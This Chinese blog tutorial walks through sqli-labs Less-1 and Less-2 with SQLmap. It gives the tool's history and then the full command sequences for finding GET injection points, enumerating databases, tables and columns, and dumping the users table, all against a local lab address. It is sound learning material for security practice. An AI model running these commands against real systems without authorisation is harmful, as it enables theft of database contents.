SQLmap 通关 sqli-labs 系列(一):神器前世今生与 GET 注入实战
摘要本文是“SQLmap 通关 sqli-labs”系列的开篇专为零基础小白打造。我们将首先走进 SQLmap 的“前世今生”了解它的起源、发展和在渗透测试中的江湖地位随后在 Kali Linux 中快速确认工具就位接着用 sqli-labs 靶场的 Less-1 和 Less-2 两个最经典的 GET 型注入关卡手把手教你 SQLmap 的基本用法从注入点探测、数据库枚举到数据导出。一、我与 SQLmap 的相遇大家好我是刚完成 sqli-labs 手工注入 65 关的小白。在经历了无数次手敲 union select 1,2,database()--之后我终于明白了两件事一是 SQL 注入的本质就是打破数据与代码的边界二是手工注入很酷但自动化工具是真的香。于是我把目光投向了 Kali Linux 里那把大名鼎鼎的瑞士军刀——SQLmap。你可能会问既然已经手工通关了为什么还要学 SQLmap答案很简单效率和深度。手工注入让我们理解原理而 SQLmap 则能在几秒钟内完成手工需要十分钟甚至无法完成的探测而且它还能提供大量手工难以发现的细节。这个系列博客正是我作为零基础小白从用 SQLmap 跑通 sqli-labs 第 1 关到最后征服全部 65 关的完整记录。我希望以最通俗易懂的方式把中间的经验、命令和截图分享给你。二、SQLmap 的前世今生从“黑客玩具”到“业界标配”2.1 源起一个爱写 Python 的渗透测试员SQLmap 的历史可以追溯到 2006 年。当时一位名叫Bernardo Damele的意大利安全研究员渗透测试员在处理大量 SQL 注入漏洞时觉得手工写UNION SELECT太繁琐于是决定用 Python 编写一个工具来自动化这个过程。项目最开始是作为个人脚本诞生的名字很直白——SQL map意为“SQL 注入映射/利用”。Bernardo 在 2007 年将其开源发布在 SourceForge 上。不久后另一位核心开发者Miroslav Stampar加入了项目。Miroslav 是一位来自克罗地亚的安全专家他对 WAF 绕过、后端数据库的深度利用有着极高的热情今天我们所看到的许多 Tamper 脚本和高级特性都出自他手。两位“大牛”的协作让 SQLmap 迅速从一个简单的 UNION 注入探测脚本演变为功能极其强大的数据库接管平台。2.2 里程碑从脚本到框架的蜕变2009 ~ 2012 年SQLmap 增加了对多种数据库的支持MySQL, PostgreSQL, Microsoft SQL Server, Oracle 等并引入了盲注Boolean/Time-based技术。这让它在无回显场景下也能大展拳脚。2013 ~ 2015 年Tamper 脚本体系成型能够轻松绕过各种 WAF、IDS 和输入过滤规则。文件系统访问--file-read/--file-write和操作系统控制--os-shell功能也被加入SQLmap 正式成为“数据库接管工具”。2016 年至今项目迁移至 GitHub社区活跃度极高。功能不断完善如对 PostgreSQL 的增强支持、解析复杂请求文件、自动处理 CSRF 令牌等。几乎所有主流渗透测试发行版Kali, Parrot, BlackArch都将其预装。如今SQLmap 已经成为全球渗透测试人员、安全研究员和红队成员必备的工具甚至在很多漏洞赏金计划中只要提到 SQL 注入第一个跳进脑子里的就是它。2.3 为什么选择 Kali Linux 下的 SQLmapKali Linux 是 Offensive Security 公司维护的渗透测试发行版它开箱即用地集成了 SQLmap且一直保持较新版本。这样做的好处是免去复杂的安装过程打开终端就能用。依赖环境完好特别是 Python 以及文件读写、OS-shell 所需的底层库。与 sqli-labs 无缝对接只要靶场能访问Kali 就是最好的攻击机。三、快速确认你的 SQLmap 准备好了吗在开始之前先打开 Kali 终端敲入经典命令sqlmap --version你会看到类似如下输出这表示你的 SQLmap 已就绪。如果使用的是较旧的 Kali建议执行sudo apt update sudo apt install sqlmap更新一下。接下来我们要明确 sqli-labs 的地址。在我的实验环境中sqli-labs 搭建在另一台虚拟机或本机的http://192.168.137.1/sqli-labs/。请将其替换为你自己的靶场地址后面的命令中用http://靶场IP/sqli-labs/表示。四、SQLmap 基础三部曲攻击、枚举、提取4.1 SQLmap 的基本工作流程SQLmap 的工作就像一名经验丰富的老中医“望闻问切”。望探测注入点向目标 URL 发送包含各种 SQL 特征字符的 Payload观察响应状态码、长度、报错信息。闻识别技术确定注入类型后尝试多种注入技术如布尔盲注、报错注入、时间盲注、联合查询等选出最快最稳的一种。问枚举数据从数据库名称、表名、列名一步步把数据“问”出来。切高级利用访问文件系统、执行系统命令需高权限完成最终目标。我们学 SQLmap 也按这个流程由浅入深。4.2 必须记住的几个核心参数参数功能说明-u指定目标 URL必须包含注入参数例如?id1--batch全自动模式所有询问都按默认选择不用人工交互--dbs枚举所有数据库探测成功后的第一步--current-db获取当前数据库知道当前使用的库名-D db指定数据库进行表、列枚举的前提--tables枚举表需配合-D-T table指定表枚举列或脱数据--columns枚举列需配合-T--dump导出数据把整个表内容 dump 下来--level探测等级 1~5数字越高检测越详细--risk风险等级 1~3越高风险越大可能被 WAF 发现或影响数据五、开胃菜Less-1 GET - Error based - Single quotes - String5.1 关卡背景sqli-labs 的第 1 关是一个最经典的字符串型报错注入。后台 SQL 语句类似于SELECT * FROM users WHERE id$id LIMIT 0,1当我们输入?id1时单引号闭合前面的条件引发语法错误页面直接回显 SQL 错误信息。这种“报错回显”是 sqlmap 最喜欢的场景因为它能通过报错信息高效获取数据。5.2 第一步注入点探测打开 Kali 终端执行sqlmap -u http://192.168.137.1/sqli-labs/Less-1/?id1 --batch你会看到 SQLmap 的标志性 banner 和一系列检测信息。下面对关键输出进行解读关键信息GET parameter id is MySQL UNION query ... injectable。说明 SQLmap 已经确定这是一个 MySQL 的 UNION 联合查询注入且后端是 MySQL 数据库。5.3 第二步获取所有数据库名确认注入点后我们开始“倒数据”sqlmap -u http://192.168.137.1/sqli-labs/Less-1/?id1 --dbs --batch输出片段这里的security就是 sqli-labs 默认使用的数据库而information_schema和mysql是系统库。challenges是某些关卡用到的库。5.4 第三步获取当前数据库很多时候我们只关心当前库sqlmap -u http://192.168.137.1/sqli-labs/Less-1/?id1 --current-db --batch输出5.5 第四步枚举 security 库中的表指定-D security并使用--tablessqlmap -u http://192.168.137.1/sqli-labs/Less-1/?id1 -D security --tables --batch输出我们重点关注users表。5.6 第五步枚举 users 表的列sqlmap -u http://192.168.137.1/sqli-labs/Less-1/?id1 -D security -T users --columns --batch输出5.7 第六步导出 users 表的所有数据执行终极命令sqlmap -u http://192.168.137.1/sqli-labs/Less-1/?id1 -D security -T users --dump --batchSQLmap 会逐行输出数据并且因为表中可能包含密码 hash它会自动询问你是否要破解。因为我们加了--batch它会选择默认不破解但 dump 过程照常进行至此我们成功用 SQLmap 在 30 秒内完成了对整个 users 表的脱裤。回想一下手工注入时的那些order by、union select是不是觉得效率提升了一个量级六、巩固战果Less-2 GET - Error based - Intiger based第 2 关是数字型注入后台 SQL 大概长这样SELECT * FROM users WHERE id$id LIMIT 0,1输入?id1不会引发单引号错误而是纯数字类型。我们不用再手动加注释直接看 SQLmap 怎么处理。6.1 运行同样的基础探测sqlmap -u http://192.168.137.1/sqli-labs/Less-2/?id1 --batchSQLmap 探测输出会告诉你但因为这是数字型它不需要使用引号闭合在 Payload 上会略有不同。我们依然可以使用和 Less-1 完全相同的--dbs、--tables、--dump参数。6.2 一键 dump 所有数据如果你在得到注入点后只想直奔主题SQLmap 也支持一条龙服务sqlmap -u http://192.168.137.1/sqli-labs/Less-2/?id1 --dump-all --batch这个命令会尝试 dump 所有库的所有表数据量可能很大慎用。对于 sqli-labs 这种小靶场倒也无妨但我们练习时还是建议指定库和表以深刻理解每一步操作。七、输出详解与技巧如何阅读 SQLmap 的报告7.1 日志文件的重要性每次运行 SQLmap它都会在你的用户目录下保存详细的 CSV 日志文件路径通常为/root/.local/share/sqlmap/output/目标IP或域名/里面包含log、target.txt、dump文件夹等。当你需要事后复盘或写渗透测试报告时这些文件是金矿。7.2 Payload 展示如果你希望知道 SQLmap 到底用了什么 Payload可以加上-v 3查看详细通信过程sqlmap -u http://... -v 3 --batch你会在满屏的 HTTP 请求中看到具体的注入 Payload。对于想深入研究手工注入和自动化结合的同学来说这是极好的学习材料。7.3 线程和性能默认情况下 SQLmap 是单线程的。你可以通过--threads参数提高并发建议不超过 10否则可能被目标防火墙察觉sqlmap -u http://... --dump --threads 5在 sqli-labs 这种本地或内网靶场中适当调高线程能明显加快盲注速度。八、总结本文带你从 SQLmap 的“前世今生”出发了解它如何由一个小脚本成长为渗透测试领域的 SQL 注入神器。随后我们在 Kali 中实战了 sqli-labs 第 1 关和第 2 关掌握了 GET 型注入的全自动流程。你学会了SQLmap 的基本探测与枚举命令序列。解读输出确认注入类型和数据库信息。从数据库名、表、列到完整数据的 dump 全流程。如何保存和利用生成的日志。但是这只是冰山一角。很多 Web 应用并不通过 GET 参数传递敏感操作而是使用 POST、Cookie、User-Agent 等。这些注入点 SQLmap 能不能搞定该用什么参数别急下一篇我将带你攻克 Less-11 到 Less-21 等一系列关卡把自动化注入玩出花来。手工注入教我们原理SQLmap 教我们高效。两者结合才是真正的 SQL 注入之王。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。